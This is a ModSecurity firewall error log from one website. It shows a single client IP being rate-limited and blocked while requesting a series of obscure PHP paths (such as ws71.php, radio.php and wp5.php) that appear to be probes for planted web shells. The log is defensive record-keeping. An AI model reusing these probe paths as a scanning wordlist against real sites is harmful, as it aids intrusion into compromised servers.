[Tue Mar 03 00:49:23.628014 2026] [:error] [pid 18557:tid 18830] [client 158.158.41.149:10787] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a4.php"] [unique_id "aaW_k9ngZqR9Tp8JM0FRAwAAAEg"]
[Tue Mar 03 00:49:25.078064 2026] [:error] [pid 18556:tid 18780] [client 158.158.41.149:11532] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a4.php"] [unique_id "aaW_lX9AYyTTd2eEk9E16wAAABg"]
[Tue Mar 03 00:49:26.524312 2026] [:error] [pid 60214:tid 60218] [client 158.158.41.149:18940] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a4.php"] [unique_id "aaW_lomuQ_v4S3RkLivlPQAAAQI"]
[Tue Mar 03 00:49:32.851209 2026] [:error] [pid 60214:tid 60240] [client 158.158.41.149:18840] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inputs.php"] [unique_id "aaW_nImuQ_v4S3RkLivlWQAAARg"]
[Tue Mar 03 00:49:37.657054 2026] [:error] [pid 18960:tid 18978] [client 158.158.41.149:8962] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inputs.php"] [unique_id "aaW_odCu09icM9oIHwDNLQAAAM8"]
[Tue Mar 03 00:49:45.293041 2026] [:error] [pid 60214:tid 60230] [client 158.158.41.149:14256] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gfd.php"] [unique_id "aaW_qYmuQ_v4S3RkLivlfgAAAQ4"]
[Tue Mar 03 00:49:48.836776 2026] [:error] [pid 60214:tid 60221] [client 158.158.41.149:19308] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gfd.php"] [unique_id "aaW_rImuQ_v4S3RkLivliQAAAQU"]
[Tue Mar 03 00:49:55.701719 2026] [:error] [pid 18557:tid 18841] [client 158.158.41.149:17309] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gfd.php"] [unique_id "aaW_s9ngZqR9Tp8JM0FRJgAAAFI"]
[Tue Mar 03 00:49:57.523768 2026] [:error] [pid 60214:tid 60218] [client 158.158.41.149:7233] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/radio.php"] [unique_id "aaW_tYmuQ_v4S3RkLivlnAAAAQI"]
[Tue Mar 03 00:50:04.964974 2026] [:error] [pid 60214:tid 60217] [client 158.158.41.149:5226] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/radio.php"] [unique_id "aaW_vImuQ_v4S3RkLivlsAAAAQE"]
[Tue Mar 03 00:50:06.362491 2026] [:error] [pid 60214:tid 60227] [client 158.158.41.149:5217] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/radio.php"] [unique_id "aaW_vomuQ_v4S3RkLivltQAAAQs"]
[Tue Mar 03 00:50:07.117986 2026] [:error] [pid 18960:tid 18981] [client 158.158.41.149:19263] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/radio.php"] [unique_id "aaW_v9Cu09icM9oIHwDNUgAAANI"]
[Tue Mar 03 00:50:09.596782 2026] [:error] [pid 18556:tid 18768] [client 158.158.41.149:4782] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wefile.php"] [unique_id "aaW_wX9AYyTTd2eEk9E2CwAAAA0"]
[Tue Mar 03 00:50:10.456250 2026] [:error] [pid 18960:tid 18975] [client 158.158.41.149:4616] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wefile.php"] [unique_id "aaW_wtCu09icM9oIHwDNVwAAAMw"]
[Tue Mar 03 00:50:20.900796 2026] [:error] [pid 18960:tid 18975] [client 158.158.41.149:5515] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/edit.php"] [unique_id "aaW_zNCu09icM9oIHwDNbgAAAMw"]
[Tue Mar 03 00:50:22.000357 2026] [:error] [pid 18960:tid 18985] [client 158.158.41.149:5185] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/edit.php"] [unique_id "aaW_zdCu09icM9oIHwDNcAAAANY"]
[Tue Mar 03 00:50:26.907559 2026] [:error] [pid 18557:tid 18838] [client 158.158.41.149:4202] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/edit.php"] [unique_id "aaW_0tngZqR9Tp8JM0FRSAAAAE8"]
[Tue Mar 03 00:50:33.289284 2026] [:error] [pid 60214:tid 60232] [client 158.158.41.149:4754] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/edit.php"] [unique_id "aaW_2YmuQ_v4S3RkLivl3AAAARA"]
[Tue Mar 03 00:50:34.172585 2026] [:error] [pid 18556:tid 18776] [client 158.158.41.149:32692] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sid3.php"] [unique_id "aaW_2n9AYyTTd2eEk9E2IAAAABQ"]
[Tue Mar 03 00:50:39.956774 2026] [:error] [pid 18558:tid 18860] [client 158.158.41.149:11878] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sid3.php"] [unique_id "aaW_37O1kQHjTOLioCmz7QAAAIY"]
[Tue Mar 03 00:50:42.657649 2026] [:error] [pid 18558:tid 18857] [client 158.158.41.149:12338] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sid3.php"] [unique_id "aaW_4rO1kQHjTOLioCmz8wAAAIM"]
[Tue Mar 03 00:50:46.326466 2026] [:error] [pid 60214:tid 60229] [client 158.158.41.149:8481] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sid3.php"] [unique_id "aaW_5omuQ_v4S3RkLivl_gAAAQ0"]
[Tue Mar 03 00:50:46.941532 2026] [:error] [pid 18960:tid 18976] [client 158.158.41.149:20470] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abc.php"] [unique_id "aaW_5tCu09icM9oIHwDNmQAAAM0"]
[Tue Mar 03 00:50:48.113246 2026] [:error] [pid 60214:tid 60227] [client 158.158.41.149:28285] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abc.php"] [unique_id "aaW_6ImuQ_v4S3RkLivmAwAAAQs"]
[Tue Mar 03 00:50:50.531141 2026] [:error] [pid 18558:tid 18855] [client 158.158.41.149:20442] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abc.php"] [unique_id "aaW_6rO1kQHjTOLioCm0AQAAAIE"]
[Tue Mar 03 00:50:52.717310 2026] [:error] [pid 60214:tid 60224] [client 158.158.41.149:20441] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abc.php"] [unique_id "aaW_7ImuQ_v4S3RkLivmEwAAAQg"]
[Tue Mar 03 00:50:53.564691 2026] [:error] [pid 18960:tid 18984] [client 158.158.41.149:20479] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin-footer.php"] [unique_id "aaW_7dCu09icM9oIHwDNpAAAANU"]
[Tue Mar 03 00:50:55.853425 2026] [:error] [pid 18960:tid 18987] [client 158.158.41.149:6821] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin-footer.php"] [unique_id "aaW_79Cu09icM9oIHwDNrgAAANg"]
[Tue Mar 03 00:50:58.529206 2026] [:error] [pid 18556:tid 18755] [client 158.158.41.149:8774] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin-footer.php"] [unique_id "aaW_8n9AYyTTd2eEk9E2LgAAAAE"]
[Tue Mar 03 00:51:00.095962 2026] [:error] [pid 60214:tid 60223] [client 158.158.41.149:23557] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin-footer.php"] [unique_id "aaW_9ImuQ_v4S3RkLivmLgAAAQc"]
[Tue Mar 03 00:51:02.177874 2026] [:error] [pid 18556:tid 18765] [client 158.158.41.149:8787] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-p2r3q9c8k4.php"] [unique_id "aaW_9n9AYyTTd2eEk9E2MgAAAAo"]
[Tue Mar 03 00:51:04.223437 2026] [:error] [pid 18558:tid 18874] [client 158.158.41.149:9286] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-p2r3q9c8k4.php"] [unique_id "aaW_-LO1kQHjTOLioCm0DQAAAJQ"]
[Tue Mar 03 00:51:11.619927 2026] [:error] [pid 18960:tid 18966] [client 158.158.41.149:9555] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-p2r3q9c8k4.php"] [unique_id "aaW__9Cu09icM9oIHwDN0gAAAMM"]
[Tue Mar 03 00:51:14.823982 2026] [:error] [pid 18960:tid 18971] [client 158.158.41.149:6532] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-p2r3q9c8k4.php"] [unique_id "aaXAAtCu09icM9oIHwDN3QAAAMg"]
[Tue Mar 03 00:51:17.360045 2026] [:error] [pid 60214:tid 60235] [client 158.158.41.149:15766] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jga.php"] [unique_id "aaXABYmuQ_v4S3RkLivmWwAAARM"]
[Tue Mar 03 00:51:18.581657 2026] [:error] [pid 60214:tid 60218] [client 158.158.41.149:8015] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jga.php"] [unique_id "aaXABomuQ_v4S3RkLivmYAAAAQI"]
[Tue Mar 03 00:51:19.857620 2026] [:error] [pid 18556:tid 18761] [client 158.158.41.149:12311] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jga.php"] [unique_id "aaXAB39AYyTTd2eEk9E2TwAAAAY"]
[Tue Mar 03 00:51:35.982921 2026] [:error] [pid 18558:tid 18877] [client 158.158.41.149:11358] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/knme.php"] [unique_id "aaXAF7O1kQHjTOLioCm0UQAAAJc"]
[Tue Mar 03 00:51:37.806416 2026] [:error] [pid 18557:tid 18838] [client 158.158.41.149:21676] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/knme.php"] [unique_id "aaXAGdngZqR9Tp8JM0FRmAAAAE8"]
[Tue Mar 03 00:51:39.486481 2026] [:error] [pid 18960:tid 18975] [client 158.158.41.149:15769] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/knme.php"] [unique_id "aaXAG9Cu09icM9oIHwDOEgAAAMw"]
[Tue Mar 03 00:51:41.587226 2026] [:error] [pid 18557:tid 18829] [client 158.158.41.149:10072] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/knme.php"] [unique_id "aaXAHdngZqR9Tp8JM0FRmwAAAEc"]
[Tue Mar 03 00:51:42.870870 2026] [:error] [pid 60214:tid 60233] [client 158.158.41.149:15777] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws71.php"] [unique_id "aaXAHomuQ_v4S3RkLivmiQAAARE"]
[Tue Mar 03 00:51:45.864259 2026] [:error] [pid 18556:tid 18755] [client 158.158.41.149:8489] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws71.php"] [unique_id "aaXAIX9AYyTTd2eEk9E2iwAAAAE"]
[Tue Mar 03 00:51:50.928439 2026] [:error] [pid 18960:tid 18981] [client 158.158.41.149:8471] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws71.php"] [unique_id "aaXAJtCu09icM9oIHwDOMwAAANI"]
[Tue Mar 03 00:51:52.584853 2026] [:error] [pid 18558:tid 18878] [client 158.158.41.149:11314] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws71.php"] [unique_id "aaXAKLO1kQHjTOLioCm0aQAAAJg"]
[Tue Mar 03 00:51:54.215792 2026] [:error] [pid 18556:tid 18765] [client 158.158.41.149:11897] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws67.php"] [unique_id "aaXAKn9AYyTTd2eEk9E2kgAAAAo"]
[Tue Mar 03 00:51:57.027382 2026] [:error] [pid 18557:tid 18830] [client 158.158.41.149:17703] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws67.php"] [unique_id "aaXALdngZqR9Tp8JM0FRpwAAAEg"]
[Tue Mar 03 00:51:58.110777 2026] [:error] [pid 60214:tid 60218] [client 158.158.41.149:11853] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws67.php"] [unique_id "aaXALomuQ_v4S3RkLivmqgAAAQI"]
[Tue Mar 03 00:51:58.874691 2026] [:error] [pid 18556:tid 18764] [client 158.158.41.149:23412] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws67.php"] [unique_id "aaXALn9AYyTTd2eEk9E2lQAAAAk"]
[Tue Mar 03 00:51:59.771815 2026] [:error] [pid 60214:tid 60236] [client 158.158.41.149:17700] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/momo.php"] [unique_id "aaXAL4muQ_v4S3RkLivmrwAAARQ"]
[Tue Mar 03 00:52:03.532189 2026] [:error] [pid 60214:tid 60235] [client 158.158.41.149:4859] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/momo.php"] [unique_id "aaXAM4muQ_v4S3RkLivmuwAAARM"]
[Tue Mar 03 00:52:04.520649 2026] [:error] [pid 18960:tid 18977] [client 158.158.41.149:23389] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/momo.php"] [unique_id "aaXANNCu09icM9oIHwDOSwAAAM4"]
[Tue Mar 03 00:52:05.243791 2026] [:error] [pid 60214:tid 60219] [client 158.158.41.149:23420] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/momo.php"] [unique_id "aaXANYmuQ_v4S3RkLivmvwAAAQM"]
[Tue Mar 03 00:52:13.917767 2026] [:error] [pid 60214:tid 60223] [client 158.158.41.149:29504] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp5.php"] [unique_id "aaXAPYmuQ_v4S3RkLivm3wAAAQc"]
[Tue Mar 03 00:52:15.645060 2026] [:error] [pid 18960:tid 18965] [client 158.158.41.149:4779] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp5.php"] [unique_id "aaXAP9Cu09icM9oIHwDOXAAAAMI"]
[Tue Mar 03 00:52:18.390863 2026] [:error] [pid 18558:tid 18864] [client 158.158.41.149:14831] [client 158.158.41.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp5.php"] [unique_id "aaXAQrO1kQHjTOLioCm0dwAAAIo"]
